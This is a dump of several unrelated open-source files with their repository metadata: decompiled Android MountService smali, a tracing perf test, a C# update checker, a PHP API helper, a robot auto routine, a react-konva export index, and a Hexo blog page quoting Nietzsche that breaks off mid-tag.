2035 :try_start_0 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v4, p1}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v4 if-nez v4, :cond_1 .line 2036 const/4 v3, -0x5 monitor-exit v5 .line 2069 :cond_0 :goto_0 return v3 .line 2038 :cond_1 monitor-exit v5 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_1 .line 2046 invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; move-result-object v4 invoke-virtual {v4}, Ljava/lang/Runtime;->gc()V .line 2048 const/4 v3, 0x0 .line 2050 .local v3, "rc":I :try_start_1 new-instance v0, Lcom/android/server/NativeDaemonConnector$Command; const-string v4, "asec" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "unmount" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 invoke-direct {v0, v4, v5}, Lcom/android/server/NativeDaemonConnector$Command;-><init>(Ljava/lang/String;[Ljava/lang/Object;)V .line 2051 .local v0, "cmd":Lcom/android/server/NativeDaemonConnector$Command; if-eqz p2, :cond_2 .line 2052 const-string v4, "force" invoke-virtual {v0, v4}, Lcom/android/server/NativeDaemonConnector$Command;->appendArg(Ljava/lang/Object;)Lcom/android/server/NativeDaemonConnector$Command; .line 2054 :cond_2 iget-object v4, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; invoke-virtual {v4, v0}, Lcom/android/server/NativeDaemonConnector;->execute(Lcom/android/server/NativeDaemonConnector$Command;)Lcom/android/server/NativeDaemonEvent; :try_end_1 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_1 .. :try_end_1} :catch_0 .line 2064 .end local v0 # "cmd":Lcom/android/server/NativeDaemonConnector$Command; :goto_1 if-nez v3, :cond_0 .line 2065 iget-object v5, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v5 .line 2066 :try_start_2 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v4, p1}, Ljava/util/HashSet;->remove(Ljava/lang/Object;)Z .line 2067 monitor-exit v5 goto :goto_0 :catchall_0 move-exception v4 monitor-exit v5 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v4 .line 2038 .end local v3 # "rc":I :catchall_1 move-exception v4 :try_start_3 monitor-exit v5 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_1 throw v4 .line 2055 .restart local v3 # "rc":I :catch_0 move-exception v2 .line 2056 .local v2, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v2}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v1 .line 2057 .local v1, "code":I const/16 v4, 0x195 if-ne v1, v4, :cond_3 .line 2058 const/4 v3, -0x7 goto :goto_1 .line 2060 :cond_3 const/4 v3, -0x1 goto :goto_1 .end method .method public unmountVolume(Ljava/lang/String;ZZ)V .locals 5 .param p1, "path" # Ljava/lang/String; .param p2, "force" # Z .param p3, "removeEncryption" # Z .prologue .line 1806 const-string v2, "android.permission.MOUNT_UNMOUNT_FILESYSTEMS" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1807 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1809 invoke-virtual {p0, p1}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v1 .line 1815 .local v1, "volState":Ljava/lang/String; const-string v2, "unmounted" invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v2 if-nez v2, :cond_0 const-string v2, "removed" invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v2 if-nez v2, :cond_0 const-string v2, "shared" invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v2 if-nez v2, :cond_0 const-string v2, "unmountable" invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v2 if-eqz v2, :cond_1 .line 1825 :cond_0 :goto_0 return-void .line 1823 :cond_1 new-instance v0, Lcom/android/server/MountService$UnmountCallBack; invoke-direct {v0, p0, p1, p2, p3}, Lcom/android/server/MountService$UnmountCallBack;-><init>(Lcom/android/server/MountService;Ljava/lang/String;ZZ)V .line 1824 .local v0, "ucb":Lcom/android/server/MountService$UnmountCallBack; iget-object v2, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; iget-object v3, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; const/4 v4, 0x1 invoke-virtual {v3, v4, v0}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v3 invoke-virtual {v2, v3}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z goto :goto_0 .end method .method public unregisterListener(Landroid/os/storage/IMountServiceListener;)V .locals 5 .param p1, "listener" # Landroid/os/storage/IMountServiceListener; .prologue .line 1621 iget-object v3, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v3 .line 1622 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v2}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v1 .local v1, "i$":Ljava/util/Iterator; :cond_0 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z move-result v2 if-eqz v2, :cond_1 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Lcom/android/server/MountService$MountServiceBinderListener; .line 1623 .local v0, "bl":Lcom/android/server/MountService$MountServiceBinderListener; iget-object v2, v0, Lcom/android/server/MountService$MountServiceBinderListener;->mListener:Landroid/os/storage/IMountServiceListener; invoke-interface {v2}, Landroid/os/storage/IMountServiceListener;->asBinder()Landroid/os/IBinder; move-result-object v2 invoke-interface {p1}, Landroid/os/storage/IMountServiceListener;->asBinder()Landroid/os/IBinder; move-result-object v4 if-ne v2, v4, :cond_0 .line 1624 iget-object v2, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; iget-object v4, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v4, v0}, Ljava/util/ArrayList;->indexOf(Ljava/lang/Object;)I move-result v4 invoke-virtual {v2, v4}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; .line 1625 invoke-interface {p1}, Landroid/os/storage/IMountServiceListener;->asBinder()Landroid/os/IBinder; move-result-object v2 const/4 v4, 0x0 invoke-interface {v2, v0, v4}, Landroid/os/IBinder;->unlinkToDeath(Landroid/os/IBinder$DeathRecipient;I)Z .line 1626 monitor-exit v3 .line 1630 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; :goto_0 return-void .line 1629 :cond_1 monitor-exit v3 goto :goto_0 .end local v1 # "i$":Ljava/util/Iterator; :catchall_0 move-exception v2 monitor-exit v3 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v2 .end method .method public verifyEncryptionPassword(Ljava/lang/String;)I .locals 8 .param p1, "password" # Ljava/lang/String; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2389 invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v2 const/16 v3, 0x3e8 if-eq v2, v3, :cond_0 .line 2390 new-instance v2, Ljava/lang/SecurityException; const-string v3, "no permission to access the crypt keeper" invoke-direct {v2, v3}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V throw v2 .line 2393 :cond_0 iget-object v2, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v3, "android.permission.CRYPT_KEEPER" const-string v4, "no permission to access the crypt keeper" invoke-virtual {v2, v3, v4}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 2396 invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z move-result v2 if-eqz v2, :cond_1 .line 2397 new-instance v2, Ljava/lang/IllegalArgumentException; const-string v3, "password cannot be empty" invoke-direct {v2, v3}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v2 .line 2400 :cond_1 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2408 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x2 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "verifypw" aput-object v6, v4, v5 const/4 v5, 0x1 new-instance v6, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {p0, p1}, Lcom/android/server/MountService;->toHex(Ljava/lang/String;)Ljava/lang/String; move-result-object v7 invoke-direct {v6, v7}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v1 .line 2409 .local v1, "event":Lcom/android/server/NativeDaemonEvent; const-string v2, "MountService" new-instance v3, Ljava/lang/StringBuilder; invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V const-string v4, "cryptfs verifypw => " invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v4 invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v3 invoke-static {v2, v3}, Landroid/util/Slog;->i(Ljava/lang/String;Ljava/lang/String;)I .line 2410 invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v2 invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result v2 .line 2413 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :goto_0 return v2 .line 2411 :catch_0 move-exception v0 .line 2413 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v2 goto :goto_0 .end method .method waitForAsecScan()V .locals 1 .prologue .line 579 iget-object v0, p0, Lcom/android/server/MountService;->mAsecsScanned:Ljava/util/concurrent/CountDownLatch; invoke-direct {p0, v0}, Lcom/android/server/MountService;->waitForLatch(Ljava/util/concurrent/CountDownLatch;)V .line 580 return-void .end method
{ "content_hash": "4a9c1bc5a569cdb172ac7cac23d08349", "timestamp": "", "source": "github", "line_count": 10800, "max_line_length": 214, "avg_line_length": 26.3775, "alnum_prop": 0.6805744233476202, "repo_name": "wenxiangli/FlymeOS_devices_cherry", "id": "2f30723b8c30ad90c4cd9bca87bac3e0d719a651", "size": "284877", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "services.jar.out/smali/com/android/server/MountService.smali", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Makefile", "bytes": "11010" }, { "name": "Shell", "bytes": "31520" }, { "name": "Smali", "bytes": "161675800" } ], "symlink_target": "" }
<!DOCTYPE html> <!-- Copyright 2016 The Chromium Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. --> <link rel="import" href="/tracing/model/event_set.html"> <link rel="import" href="/tracing/model/model.html"> <link rel="import" href="/tracing/model/power_sample.html"> <link rel="import" href="/tracing/model/power_series.html"> <link rel="import" href="/tracing/ui/analysis/frame_power_usage_chart.html"> <script> 'use strict'; tr.b.unittest.testSuite(function() { function instantiateManyFrames() { const model = new tr.Model(); const numFrames = 200; const samplesPerFrame = 200; // Set up the test data. const series = new tr.model.PowerSeries(model.device); const vsyncTimestamps = []; for (let i = 0; i < numFrames; i++) { vsyncTimestamps.push(i * samplesPerFrame); for (let j = 0; j < samplesPerFrame; j++) { series.addPowerSample(vsyncTimestamps[i] + j, j); } } const samples = series.samples; // Display the chart. const chart = document.createElement('tr-ui-a-frame-power-usage-chart'); chart.setData(new tr.model.EventSet(samples), vsyncTimestamps); this.addHTMLOutput(chart); } timedPerfTest('frame_power_usage_chart', instantiateManyFrames, { iterations: 1 }); }); </script>
{ "content_hash": "dcad3909e83958bd92e14df96f30f646", "timestamp": "", "source": "github", "line_count": 44, "max_line_length": 76, "avg_line_length": 31.045454545454547, "alnum_prop": 0.6808199121522694, "repo_name": "catapult-project/catapult", "id": "caf4601f33c71e99243ff89f05d9ff309f803a84", "size": "1366", "binary": false, "copies": "9", "ref": "refs/heads/main", "path": "tracing/tracing/ui/analysis/frame_power_usage_chart_perf_test.html", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "C", "bytes": "1324" }, { "name": "C++", "bytes": "46069" }, { "name": "CSS", "bytes": "23376" }, { "name": "Dockerfile", "bytes": "1541" }, { "name": "Go", "bytes": "114396" }, { "name": "HTML", "bytes": "12394298" }, { "name": "JavaScript", "bytes": "1559584" }, { "name": "Makefile", "bytes": "1774" }, { "name": "Python", "bytes": "6778695" }, { "name": "Shell", "bytes": "2288" } ], "symlink_target": "" }
using System; using System.Collections.Generic; using System.Text; using System.Xml; using System.Windows.Forms; namespace dnscrypt_winservicemgr { class UpdateChecker { public UpdateChecker() { } public static void checkVersion() { Version newVersion = null; string url = ""; XmlTextReader reader; try { string xmlURL = "http://simonclausen.dk/dnscrypt-winservicemgr/updatecheck.xml"; reader = new XmlTextReader(xmlURL); reader.MoveToContent(); string elementName = ""; if ((reader.NodeType == XmlNodeType.Element) && (reader.Name == "dnscrypt-winservicemgr")) { while (reader.Read()) { if (reader.NodeType == XmlNodeType.Element) { elementName = reader.Name; } else { if ((reader.NodeType == XmlNodeType.Text) && (reader.HasValue)) { switch (elementName) { case "version": newVersion = new Version(reader.Value); break; case "url": url = reader.Value; break; } } } } } } catch (Exception) { } Version curVersion = System.Reflection.Assembly.GetExecutingAssembly().GetName().Version; if (curVersion.CompareTo(newVersion) < 0) { string title = "Update Check"; string question = "A new version of DNSCrypt Windows Service Manager is available.\nWould you like to download the new version?"; if (DialogResult.Yes == MessageBox.Show(question, title, MessageBoxButtons.YesNo, MessageBoxIcon.Question)) { System.Diagnostics.Process.Start(url); } } } } }
{ "content_hash": "bd6bd5bad7a44f1a65ba868dccb5b3c9", "timestamp": "", "source": "github", "line_count": 69, "max_line_length": 145, "avg_line_length": 35.21739130434783, "alnum_prop": 0.4148148148148148, "repo_name": "simonclausen/dnscrypt-winservicemgr", "id": "3983d9250df9cff7800e5902263c0c725bf746f3", "size": "2432", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "dnscrypt-winservicemgr/UpdateChecker.cs", "mode": "33188", "license": "mit", "language": [ { "name": "C#", "bytes": "24618" } ], "symlink_target": "" }
<?php class Site_Controller { public static function get_title_parts($title = array()) { if (is_array($title)) { $title_name = !empty($title['name']) ? $title['name'] : ''; $title_label = !empty($title['label']) ? $title['label'] : array(); } else { $title_name = $title; $title_label = array(); } return array($title_name, $title_label); } public static function get_api_response_body_default() { return $response_body_default = array( 'status' => 0, 'message' => '', 'errors' => array( 'code' => 0, 'message' => '', ), ); } public static function get_error_message($message = null, $is_db_error = false, $default_message = null) { if (is_null($default_message) && $is_db_error) $default_message = 'データベースエラーが発生しました。'; if ($is_db_error && is_prod_env()) return $default_message; if ($message) { if (is_string($message)) { return $message; } elseif (is_callable(array($message, 'getMessage'))) { $message = $message->getMessage(); } } if (!$message && $is_db_error && $error_info = DB::error_info()) { $message = sprintf('unified_code:[%s] platform_code:[%s] message: %s', $error_info[0], $error_info[1], $error_info[2]); } return $message ?: $default_message; } public static function supply_response_body($response_body = array(), $http_status = null, $format = null, $response_body_default = array()) { if (!$response_body || !$http_status) return $response_body; if (isset($response_body['message']) && empty($response_body['message'])) unset($response_body['message']); if (in_array($http_status, array(200, 201, 202))) { if (!is_array($response_body)) return $response_body; $response_body['status'] = 1; if (isset($response_body['errors'])) unset($response_body['errors']); return $response_body; } if (!$response_body_default) $response_body_default = static::get_api_response_body_default(); $accept_keys = array_keys($response_body_default); if (is_array($response_body)) { foreach ($response_body as $key => $value) { if (!in_array($key, $accept_keys)) unset($response_body[$key]); } } else { $response_body = $response_body_default; } if (empty($response_body['errors']['code'])) $response_body['errors']['code'] = $http_status; if (!empty($response_body['errors']['message'])) { return $format == 'html' ? $response_body['errors']['message'] : $response_body; } switch ($http_status) { case 401: $message = sprintf('%sの取得に失敗しました。%s後、再度実行してください。', term('site.auth', 'site.info'), term('site.login')); break; case 400: case 403: case 404: case 405: $message = '不正なリクエストです。'; break; case 500: $message = !empty($response_body['errors']['message_default']) ? $response_body['errors']['message_default'] : 'サーバ'.term('form.error').'が発生しました。'; break; default : $message = !empty($response_body['errors']['message_default']) ? $response_body['errors']['message_default'] : term('form.error').'が発生しました。'; break; } if (!empty($response_body['errors']['message_default'])) { if ($http_status != 401) $message = $response_body['errors']['message_default']; unset($response_body['errors']['message_default']); } if (!isset($response_body['errors'])) $response_body['errors'] = array(); $response_body['errors']['message'] = $message; return $format == 'html' ? $response_body['errors']['message'] : $response_body; } }
{ "content_hash": "e890535be354390ae6bfd5b8cc75ccdc", "timestamp": "", "source": "github", "line_count": 122, "max_line_length": 151, "avg_line_length": 28.60655737704918, "alnum_prop": 0.6120343839541548, "repo_name": "uzura8/torilife", "id": "22e401e7430e92578f5e714bebb4491d9e106af8", "size": "3632", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "fuel/app/classes/site/controller.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "1956" }, { "name": "CSS", "bytes": "28054" }, { "name": "HTML", "bytes": "30411" }, { "name": "JavaScript", "bytes": "740276" }, { "name": "PHP", "bytes": "1609690" }, { "name": "Shell", "bytes": "1913" } ], "symlink_target": "" }
package com.team3925.robot2016.commands.auto; import edu.wpi.first.wpilibj.command.CommandGroup; /** * Auto routine that does nothing. */ public class AutoRoutineDoNothing extends CommandGroup { public AutoRoutineDoNothing() { // Commands don't go here. } }
{ "content_hash": "2169d946c327015464c2950d50cf755f", "timestamp": "", "source": "github", "line_count": 16, "max_line_length": 56, "avg_line_length": 17.1875, "alnum_prop": 0.7345454545454545, "repo_name": "CircuitOfLifeRobotics/Robot2016-Limbot", "id": "a426ebe02435c83824f70a4218c786c98cbfc74a", "size": "275", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/com/team3925/robot2016/commands/auto/AutoRoutineDoNothing.java", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Java", "bytes": "154073" } ], "symlink_target": "" }
exports.Stage = require('./Stage'); exports.Layer = require('./Layer'); exports.FastLayer = require('./FastLayer'); exports.Group = require('./Group'); exports.Arc = require('./shapes/Arc'); exports.Arrow = require('./shapes/Arrow'); exports.Circle = require('./shapes/Circle'); exports.Ellipse = require('./shapes/Ellipse'); exports.Image = require('./shapes/Image'); exports.Label = require('./shapes/Label'); exports.Line = require('./shapes/Line'); exports.Path = require('./shapes/Path'); exports.Rect = require('./shapes/Rect'); exports.RegularPolygon = require('./shapes/RegularPolygon'); exports.Ring = require('./shapes/Ring'); exports.Shape = require('./shapes/Shape'); exports.Sprite = require('./shapes/Sprite'); exports.Star = require('./shapes/Star'); exports.Tag = require('./shapes/Tag'); exports.Text = require('./shapes/Text'); exports.TextPath = require('./shapes/TextPath'); exports.Wedge = require('./shapes/Wedge');
{ "content_hash": "4abfb35b638f3ecb2078a512cd2ba774", "timestamp": "", "source": "github", "line_count": 23, "max_line_length": 60, "avg_line_length": 40.82608695652174, "alnum_prop": 0.6986155484558041, "repo_name": "3lvcz/react-konva", "id": "f6848b44675a6d5d903717b8fb0e6b1cc596084d", "size": "939", "binary": false, "copies": "1", "ref": "refs/heads/develop", "path": "src/index.js", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "711695" }, { "name": "Shell", "bytes": "928" } ], "symlink_target": "" }
<!DOCTYPE html> <html class="theme-next mist" lang="en,zh-Hans,default"> <head> <meta charset="UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/> <meta name="theme-color" content="#222"> <meta http-equiv="Cache-Control" content="no-transform" /> <meta http-equiv="Cache-Control" content="no-siteapp" /> <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css" /> <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css"> <link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css" /> <link href="/vendors/fontello/css/fontello.css" rel="stylesheet" type="text/css" /> <link href="/css/main.css?v=5.1.2" rel="stylesheet" type="text/css" /> <meta name="keywords" content="quote," /> <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico?v=5.1.2" /> <meta name="description" content="The surest way to corrupt a youth is to instruct him to hold in higher esteem those who think alike than those who think differently. –Friedrich Nietzsche"> <meta name="keywords" content="quote"> <meta property="og:type" content="article"> <meta property="og:title" content="The surest way to corrupt a youth"> <meta property="og:url" content="https://blog.haocen.me/2016/03/16/The-surest-way-to-corrupt-a-youth/index.html"> <meta property="og:site_name" content="Winks of life"> <meta property="og:description" content="The surest way to corrupt a youth is to instruct him to hold in higher esteem those who think alike than those who think differently. –Friedrich Nietzsche"> <meta property="og:locale" content="en"> <meta property="og:updated_time" content="2016-05-04T21:13:30.000Z"> <meta name="twitter:card" content="summary"> <meta name="twitter:title" content="The surest way to corrupt a youth"> <meta name="twitter:description" content="The surest way to corrupt a youth is to instruct him to hold in higher esteem those who think alike than those who think differently. –Friedrich Nietzsche"> <script type="text/javascript" id="hexo.configurations"> var NexT = window.NexT || {}; var CONFIG = { root: '/', scheme: 'Mist', version: '5.1.2', sidebar: {"position":"right","display":"hide","offset":12,"offset_float":12,"b2t":false,"scrollpercent":false,"onmobile":false}, fancybox: true, tabs: true, motion: {"enable":false,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn"}}, duoshuo: { userId: '0', author: 'Author' }, algolia: { applicationID: '', apiKey: '', indexName: '', hits: {"per_page":10}, labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"} } }; </script> <link rel="canonical" href="https://blog.haocen.me/2016/03/16/The-surest-way-to-corrupt-a-youth/"/> <title>The surest way to corrupt a youth | Winks of life</title> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-59205823-2', 'auto'); ga('send', 'pageview'); </script> </head> <body itemscope itemtype="http://schema.org/WebPage" lang="en"> <div class="container sidebar-position-right page-post-detail"> <div class="headband"></div> <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader"> <div class="header-inner"><div class="site-brand-wrapper"> <div class="site-meta "> <div class="custom-logo-site-title"> <a href="/" class="brand" rel="start"> <span class="logo-line-before"><i></i></span> <span class="site-title">Winks of life<i class="icon-noblesse-oblige"></i></span> <span class="logo-line-after"><i></i></span> </a> </div> <p class="site-subtitle"></p> </div> <div class="site-nav-toggle"> <button> <span class="btn-bar"></span> <span class="btn-bar"></span> <span class="btn-bar"></span> </button> </div> </div> <nav class="site-nav"> <ul id="menu" class="menu"> <li class="menu-item menu-item-home"> <a href="/" rel="section"> Home </a> </li> <li class="menu-item menu-item-tags"> <a href="/tags/" rel="section"> Tags </a> </li> <li class="menu-item menu-item-archives"> <a href="/archives/" rel="section"> Archives </a> </li> <li class="menu-item menu-item-about"> <a href="https://haocen.me" rel="section"> About </a> </li> </ul> </nav> </div> </header> <main id="main" class="main"> <div class="main-inner"> <div class="content-wrap"> <div id="content" class="content"> <div id="posts" class="posts-expand"> <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article"> <div class="post-block"> <link itemprop="mainEntityOfPage" href="https://blog.haocen.me/2016/03/16/The-surest-way-to-corrupt-a-youth/"> <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person"> <meta itemprop="name" content="Haocen Xu"> <meta itemprop="description" content=""> <meta itemprop="image" content="https://haocen.me/images/profilepic.jpg"> </span> <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization"> <meta itemprop="name" content="Winks of life"> </span> <header class="post-header"> <h1 class="post-title" itemprop="name headline">The surest way to corrupt a youth</h1> <div class="post-meta"> <span class="post-time"> <span class="post-meta-item-icon"> <i class="fa fa-calendar-o"></i> </span> <span class="post-meta-item-text">Posted on</span> <time title="Post created" itemprop="dateCreated datePublished" datetime="2016-03-16T05:15:33+00:00"> 2016-03-16 </time> </span> <span id="/2016/03/16/The-surest-way-to-corrupt-a-youth/" class="leancloud_visitors" data-flag-title="The surest way to corrupt a youth"> <span class="post-meta-divider">|</span> <span class="post-meta-item-icon"> <i class="fa fa-eye"></i> </span> <span class="post-meta-item-text">Visitors&#58;</span> <span class="leancloud-visitors-count"></span> </span> </div> </header> <div class="post-body" itemprop="articleBody"> <blockquote class="blockquote-center"><p>The surest way to corrupt a youth is to instruct him to hold in higher esteem those who think alike than those who think differently.</p> </blockquote> <div align="right"> –Friedrich Nietzsche </div> </div> <footer class="post-footer"> <div class="post-tags"> <a href="/tags/quote/" rel="tag"># quote</a> </div> <div class="post-nav"> <div class="post-nav-next post-nav-item"> <a href="/2016/03/15/Self-education-is/" rel="next" title="Self education is"> <i class="fa fa-chevron-left"></i> Self education is </a> </div> <span class="post-nav-divider"></span> <div class="post-nav-prev post-nav-item"> <a href="/2016/03/17/You-cannot-pass/" rel="prev" title="You cannot pass"> You cannot pass <i class="fa fa-chevron-right"></i> </a> </div> </div> </footer> </div> </article> <div class="post-spread"> </div> </div> </div> <div class="comments" id="comments"> </div> </div> <div class="sidebar-toggle"> <div class="sidebar-toggle-line-wrap"> <span class="sidebar-toggle-line sidebar-toggle-line-first"></span> <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span> <span class="sidebar-toggle-line sidebar-toggle-line-last"></span> </div> </div> <aside id="sidebar" class="sidebar"> <div class="sidebar-inner"> <section class="site-overview sidebar-panel sidebar-panel-active"> <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person"> <img class="site-author-image" itemprop="image" src="https://haocen.me/images/profilepic.jpg" alt="Haocen Xu" /> <p class="site-author-name" itemprop="name">Haocen Xu</p> <p class="site-description motion-element" itemprop="description">La vie est drôle</p> </div> <nav class="site-state motion-element"> <div class="site-state-item site-state-posts"> <a href="/archives/"> <span class="site-state-item-count">78</span> <span class="site-state-item-name">posts</span> </a> </div> <div class="site-state-item site-state-tags"> <a href="/tags/index.html"> <span class="site-state-item-count">9</span> <span class="site-state-item-name">tags</span> </a> </div> </nav> <div class="links-of-author motion-element"> <span class="links-of-author-item"> <a href="mailto:haocen.xu@gmail.com" target="_blank" title="Email"> <i class="fa fa-fw fa-paper-plane"></i>Email</a> </span> <span class="links-of-author-item"> <a href="https://github.com/haocen" target="_blank" title="GitHub"> <i class="fa fa-fw fa-github-alt"></i>GitHub</a> </span> <span class="links-of-author-item"> <a href="https://haocen.me/#contact" target="_blank" title="Contact Form"> <i class="fa fa-fw fa-pencil"></i>Contact Form</a> </span> <span class="links-of-author-item"> <a href="https://haocen.me/privacy_policy?site=blog" target="_blank" title="Privacy Policy"> <i class="fa fa-fw fa-user-secret"></i>Privacy Policy</a> </span> </div> <div class="cc-license motion-element" itemprop="license"> <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" class="cc-opacity" target="_blank"> <img src="/images/cc-by-nc-sa.svg" alt="Creative Commons" /> </a> </div> </section> </div> </aside> </div> </main> <footer id="footer" class="footer"> <div class="footer-inner"> <div class="copyright" > &copy; 2016 &mdash; <span itemprop="copyrightYear">2019</span> <span class="with-love"> <i class="fa fa-heart"></i> </span> <span class="author" itemprop="copyrightHolder">Haocen Xu</span> </div> <div class="powered-by">Powered by <a class="theme-link" href="https://hexo.io">Hexo</a></div> <span class="post-meta-divider">|</span> <div class="theme-info">Theme &mdash; <a class="theme-link" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> </div> </div> </footer> <div class="back-to-top"> <i class="fa fa-arrow-up"></i> </div> </div> <script type="text/javascript"> if (Object.prototype.toString.call(window.Promise) !== '[object Function]') { window.Promise = null; } </script> <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script> <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script> <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script> <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script> <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script> <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script> <script type="text/javascript" src="/js/src/utils.js?v=5.1.2"></script> <script type="text/javascript" 